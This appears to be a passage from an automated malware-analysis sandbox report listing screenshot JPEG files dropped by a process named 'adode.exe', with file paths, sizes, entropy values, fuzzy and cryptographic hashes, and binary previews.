Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_170917.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	153394
Entropy (8bit):	7.915928109781124
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodNt0keJsgLQ9kWM3nY5xcBSa2cswS:WpgzOCtbRJPBBcFJNt0keJRv7I5VwS
MD5:	DCDADE76A1EC09E4A0ED6C715DE7E27A
SHA1:	D380BF2E7AEC80C1FF1C0271A59E8A1A237B4A21
SHA-256:	AC81CA62B0C5E852C1B1738C02DF605703B6D3F8E141984261BA2827A64E7151
SHA-512:	635EB9F34B973A4E2859605B5D379C6DD761061662F87BA568E14DC3B6548BC711702A62BA07EBAB83D717B6A3380F8C9B096ACBE641E9768CC4ADCF581F0D7C
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_171917.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	153740
Entropy (8bit):	7.915389724630055
Encrypted:	false
SSDEEP:	3072:T0u+GEiEVXA4vLtidvz6B9QB+J3J1e06OjwlVpTwvvZvlJ:d+GEiEVjSvzIQEz1sOuEllJ
MD5:	7FD1C6B47904E2264360D18D5D575E47
SHA1:	49A6432AC55814B74E75149E4CD1EC536175965A
SHA-256:	73B50751623570048B4DE2DAB7E56F32A43F65F29631E409DD54DE746F56D127
SHA-512:	0CB508AF22D82C83B398CB715E1C593884A6DEAC69FCCEEF5E4C64960A8F6DAA880B6D990533FBAA412327C2AB766C9B47A29103F959BFFC88318B3EFAFEEEC8
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_172918.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	153394
Entropy (8bit):	7.915928109781124
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodNt0keJsgLQ9kWM3nY5xcBSa2cswS:WpgzOCtbRJPBBcFJNt0keJRv7I5VwS
MD5:	DCDADE76A1EC09E4A0ED6C715DE7E27A
SHA1:	D380BF2E7AEC80C1FF1C0271A59E8A1A237B4A21
SHA-256:	AC81CA62B0C5E852C1B1738C02DF605703B6D3F8E141984261BA2827A64E7151
SHA-512:	635EB9F34B973A4E2859605B5D379C6DD761061662F87BA568E14DC3B6548BC711702A62BA07EBAB83D717B6A3380F8C9B096ACBE641E9768CC4ADCF581F0D7C
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_173920.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	153423
Entropy (8bit):	7.91499990089989
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodNt0keJsgLQ9kWM3y/DvxusHRo1LG:WpgzOCtbRJPBBcFJNt0keJRv7iDxusAa
MD5:	9466109E864F091CC080542D6CC45BB0
SHA1:	1ACF4B2D838E360B25D4AA5CEF7609F887E5DC05
SHA-256:	E0480C2AEA8D9ED35F2831F1613843C056CE9D12194ED4D2716BFA953B60F6DE
SHA-512:	F1D1EA4E848F7748640C9C2ED8E1C5119BC2E4E01A5395C68ECA38EC482DBC3699A8610034CE4C539B9AA7009556A34B059587383C61D95C8765ABE4527CC2A5
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_174920.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	159480
Entropy (8bit):	7.912479755187813
Encrypted:	false
SSDEEP:	3072:VC9iDj5FYGyQgpgoN6kiTff2FxeGVt7xtaRcVYTKSAOzUJ:09iDzKw+6kGff2Fx/n7iICxzUJ
MD5:	C80CCC362145267590BDFC98DE4FAEA0
SHA1:	F2E37D274E86F4C76C39F45586003F40F53A09CC
SHA-256:	3F6A5E0D995F89136106C5E845866F6DD318E22AF627746C8CBE66F436BA1B26
SHA-512:	79D12B1DB99DB67FCC17C3FFEE98AC15C4D064666B63055F9658B2FBC207B178FB0A25E16763248DE76434606FBFAAB65E23C8AE27C8BC8175202C5FBDC6F85B
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_175921.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_180921.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_181922.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_182922.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152564
Entropy (8bit):	7.919607445113965
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfhdKdeal2LAOzUJ:WpgzOCtbRJPBBcFJZdKjlwzUJ
MD5:	4C0D52727F347E3F5B26C0983E48B49E
SHA1:	999363CD32787B90F78AFB625A8108367B21BFCF
SHA-256:	54D355E306BFF2CF1A6DCEF45034C35AABB3663B527372B89EFC9E91025F4CC0
SHA-512:	04E74E92BAADBEF7774716252E05ADD7A26BD85A2DB9BB830350043A8250225668E73B6A56686BB0E42748025A50AFC0D79AAE4BCEDD9B3ECE94BFB0DF85B104
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_183924.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	153439
Entropy (8bit):	7.9145233324421085
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodNt0keJsgLQ9kWM3nY5iFIy8nkxUef8:WpgzOCtbRJPBBcFJNt0keJRv7I5iKZr
MD5:	5B7DFC36819415963BDD4BE9EF4BD0B1
SHA1:	BCEEDA95ABCC2142ACD48DAF7B5691D3EA5547B2
SHA-256:	C85000C40DFFC09066F94CD49BE8187A0FE009EACE6276B55DE327495B81AFCB
SHA-512:	7BC9D65A46FFC8B8C8F6718721AFD26FF2A6E42A857B783E2EE8E89DFA978FDBD51E94271C80D0E0CDB8167B8C8E6E9B40DB892367978CD41B87CD08A519ED83
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_184924.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	153394
Entropy (8bit):	7.915928109781124
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodNt0keJsgLQ9kWM3nY5xcBSa2cswS:WpgzOCtbRJPBBcFJNt0keJRv7I5VwS
MD5:	DCDADE76A1EC09E4A0ED6C715DE7E27A
SHA1:	D380BF2E7AEC80C1FF1C0271A59E8A1A237B4A21
SHA-256:	AC81CA62B0C5E852C1B1738C02DF605703B6D3F8E141984261BA2827A64E7151
SHA-512:	635EB9F34B973A4E2859605B5D379C6DD761061662F87BA568E14DC3B6548BC711702A62BA07EBAB83D717B6A3380F8C9B096ACBE641E9768CC4ADCF581F0D7C
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_185924.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	153394
Entropy (8bit):	7.915928109781124
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodNt0keJsgLQ9kWM3nY5xcBSa2cswS:WpgzOCtbRJPBBcFJNt0keJRv7I5VwS
MD5:	DCDADE76A1EC09E4A0ED6C715DE7E27A
SHA1:	D380BF2E7AEC80C1FF1C0271A59E8A1A237B4A21
SHA-256:	AC81CA62B0C5E852C1B1738C02DF605703B6D3F8E141984261BA2827A64E7151
SHA-512:	635EB9F34B973A4E2859605B5D379C6DD761061662F87BA568E14DC3B6548BC711702A62BA07EBAB83D717B6A3380F8C9B096ACBE641E9768CC4ADCF581F0D7C
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_190925.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	153439
Entropy (8bit):	7.9145233324421085
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodNt0keJsgLQ9kWM3nY5iFIy8nkxUef8:WpgzOCtbRJPBBcFJNt0keJRv7I5iKZr
MD5:	5B7DFC36819415963BDD4BE9EF4BD0B1
SHA1:	BCEEDA95ABCC2142ACD48DAF7B5691D3EA5547B2
SHA-256:	C85000C40DFFC09066F94CD49BE8187A0FE009EACE6276B55DE327495B81AFCB
SHA-512:	7BC9D65A46FFC8B8C8F6718721AFD26FF2A6E42A857B783E2EE8E89DFA978FDBD51E94271C80D0E0CDB8167B8C8E6E9B40DB892367978CD41B87CD08A519ED83
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_191925.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	153394
Entropy (8bit):	7.915928109781124
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodNt0keJsgLQ9kWM3nY5xcBSa2cswS:WpgzOCtbRJPBBcFJNt0keJRv7I5VwS
MD5:	DCDADE76A1EC09E4A0ED6C715DE7E27A
SHA1:	D380BF2E7AEC80C1FF1C0271A59E8A1A237B4A21
SHA-256:	AC81CA62B0C5E852C1B1738C02DF605703B6D3F8E141984261BA2827A64E7151
SHA-512:	635EB9F34B973A4E2859605B5D379C6DD761061662F87BA568E14DC3B6548BC711702A62BA07EBAB83D717B6A3380F8C9B096ACBE641E9768CC4ADCF581F0D7C
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_192925.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	159664
Entropy (8bit):	7.9134100641193745
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7Hs9CHfL4y15T/:7HM9tZj6BvNuHwpHfL/L/
MD5:	DAA5F6BB1B59218B1EFBF800AB65238A
SHA1:	0ED2506E10400B6736893C52053E28F81AFB657C
SHA-256:	50008EBB7D7287A5032C690CDBDCA201F8ABBEA7738C40FDABD78B42A7EB39E8
SHA-512:	12E40F1C52B816090BCCB750816078729FCF4234A3F71D29ECA9EFFE9C37C1694027721EF77550DC41A2EE9CB895E6CBAD3EB6381113DD8E5DA6D1770C97013B
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_193926.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_194926.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
